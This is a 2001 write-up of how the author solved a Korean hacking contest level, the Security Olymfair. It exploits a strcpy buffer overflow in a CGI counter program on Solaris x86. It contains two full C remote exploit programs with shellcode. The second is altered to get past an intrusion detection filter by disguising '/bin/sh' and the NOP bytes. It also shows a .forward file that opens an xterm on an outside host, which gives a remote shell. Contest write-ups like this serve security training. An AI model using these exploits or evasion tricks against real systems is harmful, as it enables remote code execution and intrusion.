How could I hack level2 of the security olymfair 2001? http://www.olymfair.org ------------------------------------------------------------------------------ Taeho Oh ( ohhara@alticast.com, ohhara@postech.edu ) http://ohhara.sarang.net Alticast http://www.alticast.com Postech ( Pohang University of Science and Technology ) http://www.postech.edu ------------------------------------------------------------------------------ 1. Preface Unixian told me to help himself to hack level2 of the security olymfair 2001, which is hacking competetion held in Korea. Therefore, I helped him to pass level2 because I am his good friend. :)) Level2 of the security olymfair 2001 is not hard for the professional hacker. The admin just make a intentional bug and the hackers try to exploit the bug. Therefore, this problem may not be interesting for the professional hacker. If you are a professional hacker, please just ignore this article. Thanks. :) 2. Situation It was not easy to get those information from remote. I got some of them accidently. target platform is intel x86 solaris 8. all traffic is filtered. ( except for incoming 80 tcp port and outgoing 6000 tcp port ) apache 1.3.19 is installed. there is /cgi-bin/Counter.cgi ( level2:nobody 4550 ) ( User:Group Permission ) there is /cgi-bin/Counter.c ( Source file. ) IDS disconnects all connections which contains '\x90', 'xterm', or '/bin/sh'. 3. Assignment Change the /usr/local/apache/htdocs/main.html ( root:level2 744 ) Execute the /usr/local/apache/idaccess ( olym:level2 4550 ) 3. Let's see Counter.c begin Counter.c ---------------------------------------------------------------------- #include #include #define FILENAME "/usr/local/apache/cgi-bin/counter.dat" unsigned long getsp() { __asm__ ("mov %esp,%eax"); } int main() { FILE *fp; int counter=0; char envc[0xff], *env; env = getenv("HTTP_USER_AGENT"); printf("Content-Type: text/html \n\n"); if (!env) { /* ^______^ */ printf("Segmentation fault (core dumped)\n"); exit(0); } strcpy(envc,env); strtok(envc," "); if((fp=fopen(FILENAME,"rt")) == NULL ) exit(0); fscanf(fp,"%d",&counter); fclose(fp); printf("VISIT: %d / BROWSER: %s\n",counter,envc); if((fp=fopen(FILENAME,"wt")) == NULL ) exit(0); fprintf(fp,"%d\n",counter+1); fclose(fp); return 0; } ---------------------------------------------------------------------- end Counter.c When you see this source code, you can find very interesting parts. That's 'printf("Segmentation fault (core dumped)\n");'. Because of this line, too many ignorant hackers tried to exploit this segmentation fault ( almost all hackers didn't have this source code. ) However, if segmentation fault occurred really, the internal server error must be printed. When I tried to input 280 characters in the 'HTTP_USER_AGENT' environment variable, I could get real segmentation fault message ( internal server error ). 'strcpy(envc,env);' causes classical buffer overflow condition. However, 'strtok(envc," ");' protects hackers from exploiting and make hackers consume more time to exploit. 4. How does strtok function works? begin the strtok man page ---------------------------------------------------------------------- char *strtok(char *s1, const char *s2); The strtok() function can be used to break the string pointed to by s1 into a sequence of tokens, each of which is delimited by one or more characters from the string pointed to by s2. The strtok() function considers the string s1 to consist of a sequence of zero or more text tokens separated by spans of one or more characters from the separator string s2. The first call (with pointer s1 specified) returns a pointer to the first character of the first token, and will have written a null character into s1 immediately following the returned token. The function keeps track of its position in the string between separate calls, so that subsequent calls (which must be made with the first argument being a null pointer) will work through the string s1 immediately following that token. In this way subsequent calls will work through the string s1 until no tokens remain. The separator string s2 may be different from call to call. When no token remains in s1, a null pointer is returned. ---------------------------------------------------------------------- end the strtok man page Therefore, in the Counter.c source code, the first ' ' character will be changed to '\0' character in the envc string. It is somewhat annoying to exploit the buffer overflow bug. Anyway, let's examine strtok minutely. begin examine-strtok.c ---------------------------------------------------------------------- #include #include main() { char str[256]; int len; int i; strcpy(str, "abcdefghijklmnopqrstuvwxtz"); len = strlen(str); printf("before strtok\n"); for (i = 0; i < len; i++) printf("%02x ", str[i]); printf("\n"); strtok(str,"n"); printf("after strtok\n"); for (i = 0; i < len; i++) printf("%02x ", str[i]); printf("\n"); } ---------------------------------------------------------------------- end examine-strtok.c begin execute examine-strtok ---------------------------------------------------------------------- before strtok 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 74 7a after strtok 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 00 6f 70 71 72 73 74 75 76 77 78 74 7a ---------------------------------------------------------------------- end execute examine-strtok strtok function changes only 'n' character to '\0' character and doesn't touch any other characters. So I can pass through this function easily. I just added 'a' and ' ' character. The ' ' will be converted to '\0', however it doesn't matter. The return address is overwritten already and strtok can't mess the shellcode. 5. Let's exploit Counter.cgi I have no expreience to make intel x86 solaris shellcode. Therefore, I decided to modify the legacy shellcode. I used the shellcode from 'http://packetstorm.securify.com/0004-exploits/solx86-nisd.c' begin Counter-exploit1.c ---------------------------------------------------------------------- /* Counter.cgi remote exploit. It's for the security olymfair 2001. 2001/05/13 by ohhara Taeho Oh ( ohhara@alticast.com, ohhara@postech.edu ) http://ohhara.sarang.net Alticast http://www.alticast.com Postech ( Pohang University of Science and Technology ) http://www.postech.edu */ #include #include #include #define MAXBUFF 280 #define NOP '\x90' #define RETADDR 0x08047cee #define RETINDEX 264 #define RETREPEAT 3 unsigned char shell[300] = "\xeb\x3d" /* jmp 0x3d */ "\x9a\x24\x24\x24\x24\x07\x24\xc3" "\x5e" /* popl %esi */ "\x29\xc0" /* subl %eax,%eax */ "\x89\x46\xbf" /* movl %eax,-0x41(%esi) */ "\x88\x46\xc4" /* movb %eax,-0x3c(%esi) */ "\x89\x46\x0c\x88\x46\x17\x88\x46\x1a" "\x88\x46\x78" /* movb %al,0x78(%esi) */ "\x29\xc0\x50\x56\x8d\x5e\x10" "\x89\x1e\x53\x8d\x5e\x18\x89\x5e\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b" "\xe8\xc6\xff\xff\xff" /* call -0x3a */ "\xff\xff\xff" "\xe8\xc6\xff\xff\xff" /* call -0x3a */ "\x01\x01\x01\x01\x02\x02\x02\x02" "\x03\x03\x03\x03\x04\x04\x04\x04" "\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20"; /* '/bin/sh -c ' */ main(int argc, char **argv) { unsigned char buff[MAXBUFF]; unsigned int *ptr; unsigned int i, j; int offset; unsigned int size; if (argc < 3) { printf("Usage: %s \n", argv[0]); exit(0); } /* I have no time to make secure exploit program. :) */ strcat(shell, argv[1]); strcat(shell, ";"); offset = atoi(argv[2]); for (i = 0; i < MAXBUFF; i++) buff[i] = NOP; buff[0] = 'a'; buff[1] = ' '; ptr = (unsigned int *)&buff[RETINDEX]; for (i = 0; i < RETREPEAT; i++) ptr[i] = (RETADDR + offset); ptr[i] = 0; size = strlen(shell); for (i = RETINDEX - size, j = 0; i < RETINDEX; i++, j++) buff[i] = shell[j]; printf ("GET /cgi-bin/Counter.cgi HTTP/1.0\nUser-Agent:%s\n\n",buff); } ---------------------------------------------------------------------- end Counter-exploit1.c It works very well in my intel x86 solaris box. However, I couldn't use this exploit code directly, because IDS filters "/bin/sh", "xterm" and "\x90". Therefore, I had to modify some parts of the shellcode. begin Counter-exploit2.c ---------------------------------------------------------------------- /* Counter.cgi remote exploit. It's for the security olymfair 2001. 2001/05/13 by ohhara Taeho Oh ( ohhara@alticast.com, ohhara@postech.edu ) http://ohhara.sarang.net Alticast http://www.alticast.com Postech ( Pohang University of Science and Technology ) http://www.postech.edu */ #include #include #include #define MAXBUFF 280 #define NOP '\x40' /* incl %eax */ #define RETADDR 0x08047cee #define RETINDEX 268 #define RETREPEAT 1 unsigned char shell[300] = /* "\xeb\x3d" */ /* jmp 0x3d */ "\xeb\x41" /* jmp 0x41 */ "\x9a\x24\x24\x24\x24\x07\x24\xc3" "\x5e" /* popl %esi */ /* add this to hide /bin/sh string */ "\xc6\x46\x10\x2f" /* movb $0x2f,0x10(%esi) */ "\x29\xc0" /* subl %eax,%eax */ /* "\x89\x46\xbf" */ /* movl %eax,-0x41(%esi) */ "\x89\x46\xbb" /* movl %eax,-0x45(%esi) */ /* "\x88\x46\xc4" */ /* movb %eax,-0x3c(%esi) */ "\x88\x46\xc0" /* movb %eax,-0x40(%esi) */ "\x89\x46\x0c\x88\x46\x17\x88\x46\x1a" "\x88\x46\x78" /* movb %al,0x78(%esi) */ "\x29\xc0\x50\x56\x8d\x5e\x10" "\x89\x1e\x53\x8d\x5e\x18\x89\x5e\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b" /* "\xe8\xc6\xff\xff\xff" */ /* call -0x3a */ "\xe8\xc2\xff\xff\xff" /* call -0x3e */ "\xff\xff\xff" /* "\xe8\xc6\xff\xff\xff" */ /* call -0x3a */ "\xe8\xc2\xff\xff\xff" /* call -0x3e */ "\x01\x01\x01\x01\x02\x02\x02\x02" "\x03\x03\x03\x03\x04\x04\x04\x04" /* "\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20";*//* '/bin/sh -c ' */ "\xff\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20"; /* '/bin/sh -c ' (disguised) */ main(int argc, char **argv) { unsigned char buff[MAXBUFF]; unsigned int *ptr; unsigned int i, j; int offset; unsigned int size; if (argc < 3) { printf("Usage: %s \n", argv[0]); exit(0); } /* I have no time to make secure exploit program. :) */ strcat(shell, argv[1]); /* 34 is magic! */ /* 27 is magic!! */ shell[34] = strlen(argv[1]) + 27; offset = atoi(argv[2]); for (i = 0; i < MAXBUFF; i++) buff[i] = NOP; buff[0] = 'a'; buff[1] = ' '; ptr = (unsigned int *)&buff[RETINDEX]; for (i = 0; i < RETREPEAT; i++) ptr[i] = (RETADDR + offset); ptr[i] = 0; size = strlen(shell); for (i = RETINDEX - size, j = 0; i < RETINDEX; i++, j++) buff[i] = shell[j]; printf ("GET /cgi-bin/Counter.cgi HTTP/1.0\nUser-Agent:%s\n\n",buff); } ---------------------------------------------------------------------- end Counter-exploit2.c This code uses '\x40'(incl %eax) as NOP. NOP doesn't have to be '\x90'(nop). 'incl %eax' is meaningless in the shellcode because %eax will be initialized as 0 when the shellcode is executed. This code uses "\xffbin/sh" instead of "/bin/sh". The '\xff' will be changed to '/' when "\xc6\x46\x10\x2f" /* movb $0x2f,0x10(%esi) */ is executed. In addition, I changed the other parts of the shellcode( jmp offset or call offset and so on ) to make this code work properly. begin execute Counter-exploit2.c ---------------------------------------------------------------------- [ ohhara@es ~ ] {1} $ ./Counter-exploit2 "echo 'Content-type:text';echo;/bin/id" 0 | nc eee.ffff.ggg.hhh 80 HTTP/1.1 200 OK Date: Tue, 15 May 2001 06:37:21 GMT Server: Apache/1.3.19 (Unix) Connection: close Content-Type: text uid=60001(nobody) gid=60001(nobody) euid=3000(level2) groups=60001(nobody) [ ohhara@es ~ ] {2} $ ---------------------------------------------------------------------- end execute Counter-exploit2.c Bingo. Now, I can execute arbitrary shell commands. 5. Let's get level2 gid Even if I was able to execute arbitrary shell commands, I couldn't pass the level. Counter.cgi was installed as setuid level2. And to pass the level2, I needed level2 gid. However, there was no setgid level2 program in the system. So even the default gid of the level2 was level2 gid, I couldn't pass level2. There was /usr/lib/sendmail.bak, and installed as setuid root 4555. And there was /usr/X11R6/bin/xt ( it looks like xterm ) I made .forward file in the level2 home directory like this. begin .forward ---------------------------------------------------------------------- "|/usr/X11R6/bin/xt -display aaa.bbb.ccc.ddd:0.0" ---------------------------------------------------------------------- end .forward And sent email to level2 like this. begin execute sendmail ---------------------------------------------------------------------- echo a | /usr/lib/sendmail.bak level2 ---------------------------------------------------------------------- end execute sendmail I was able to see level2 uid, gid x terminal. Consequently, I modified /usr/local/apache/htdocs/main.html and executed /usr/local/apache/idaccess. I passed level2. 6. Conclusion Even if the IDS has many shellcode protecting rule, it's very hard to protect completely from hackers. 7. Etc. I am very sorry for my poor english. ------------------------------------------------------------------------------ Taeho Oh ( ohhara@alticast.com, ohhara@postech.edu ) http://ohhara.sarang.net Alticast http://www.alticast.com Postech ( Pohang University of Science and Technology ) http://www.postech.edu ------------------------------------------------------------------------------